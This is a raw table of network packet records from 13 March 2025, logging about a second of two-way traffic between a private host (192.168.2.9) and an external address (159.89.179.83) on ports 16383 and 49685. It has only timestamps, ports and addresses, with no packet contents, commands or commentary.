Mar 13, 2025 12:02:36.396051884 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396069050 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396080971 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396086931 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396099091 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396106005 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396115065 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396123886 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396145105 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396157980 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396178007 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396195889 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396261930 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396271944 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396280050 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396301985 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396325111 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396339893 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396357059 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396358967 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396365881 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396370888 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396375895 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396394014 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396404982 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396413088 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396435022 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396445990 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396450043 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396477938 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396480083 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396492004 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396509886 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396559954 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396569967 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396585941 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396595955 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396617889 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.440459013 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.130647898 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.133332968 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.133675098 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.133744955 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.133811951 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.133872032 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.133930922 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.134015083 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.134074926 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.134156942 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.134216070 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.134279013 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.134330034 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.134386063 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.134409904 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.138044119 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.138103962 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.138427973 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.138439894 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.138475895 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.138492107 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.138520956 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.138540030 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.138571024 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.138575077 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.138627052 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.138665915 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.138696909 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.138724089 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.138737917 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.138744116 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.138782024 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.139111996 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139163971 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.139337063 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139347076 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139357090 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139368057 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139386892 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139399052 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139401913 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.139409065 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139419079 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.139420986 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139431000 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139441967 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139445066 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139448881 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139450073 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.139473915 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.139482975 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139508963 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.139538050 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.139904976 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139915943 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139950037 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139960051 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139961958 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.139969110 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139981031 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139995098 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.139997959 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140002966 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140012026 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140038967 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140050888 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140060902 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140105963 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140266895 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140284061 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140294075 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140320063 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140326023 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140336990 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140347004 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140347958 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140357971 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140367985 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140377045 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140386105 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140393019 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140396118 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140409946 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140427113 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140459061 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140476942 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140516043 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140568018 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140569925 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140611887 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140619040 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140625954 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140662909 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140667915 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140713930 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140732050 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140789986 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140897989 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140937090 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.140949965 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.140989065 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141052008 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141088963 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141108036 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141132116 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141149044 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141195059 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141199112 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141211987 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141249895 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141278028 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141313076 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141331911 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141364098 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141375065 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141400099 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141421080 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141433954 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141450882 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141489983 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141510963 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141556025 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141568899 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141608953 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141616106 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141654015 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141685009 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141701937 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141776085 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141825914 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141834974 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141860008 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141874075 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141904116 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141912937 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141944885 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141974926 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.141988039 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.141988039 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142016888 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142033100 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142062902 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142123938 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142179966 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142179966 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142199039 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142229080 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142244101 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142250061 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142292023 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142292976 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142318964 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142334938 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142363071 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142368078 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142456055 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142510891 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142590046 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142633915 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142642021 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142667055 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142689943 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142707109 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142719984 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142752886 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142772913 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142777920 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142800093 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142828941 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142833948 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142863035 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142884016 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142889023 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142898083 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142935991 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.142961979 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.142991066 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143021107 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143024921 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143035889 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143064976 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143088102 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143110991 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143112898 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143168926 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143172979 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143224955 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143235922 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143279076 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143320084 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143364906 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143368959 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143393993 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143412113 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143429041 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143440962 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143476963 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143482924 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143522024 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143532991 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143537045 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143578053 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143593073 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143632889 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143646955 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143657923 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143699884 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143703938 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143729925 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143745899 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143755913 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143767118 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143783092 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143800020 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143821955 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.143872976 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143902063 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.143954992 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144005060 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144015074 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144022942 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144059896 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144078970 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144109011 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144112110 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144117117 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144140005 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144172907 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144191027 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144203901 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144243002 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144267082 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144288063 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144289970 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144335985 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144339085 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144395113 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144404888 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144448996 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144457102 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144500017 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144515038 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144557953 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144566059 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144619942 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144654036 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144673109 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144674063 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144685984 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144727945 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144752026 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144763947 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144807100 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144840956 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144895077 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.144898891 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144977093 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.144980907 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145030022 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145054102 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145064116 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145111084 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145118952 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145163059 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145170927 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145205021 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145216942 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145271063 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145277023 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145353079 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145390034 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145391941 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145406008 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145432949 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145452976 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145504951 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145581007 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145591974 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145601988 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145643950 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145663023 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145679951 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145697117 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145706892 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145730019 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145749092 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145764112 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145773888 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145838976 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145840883 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145852089 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145858049 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.145878077 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.145900965 CET	49685	16383	192.168.2.9	159.89.179.83
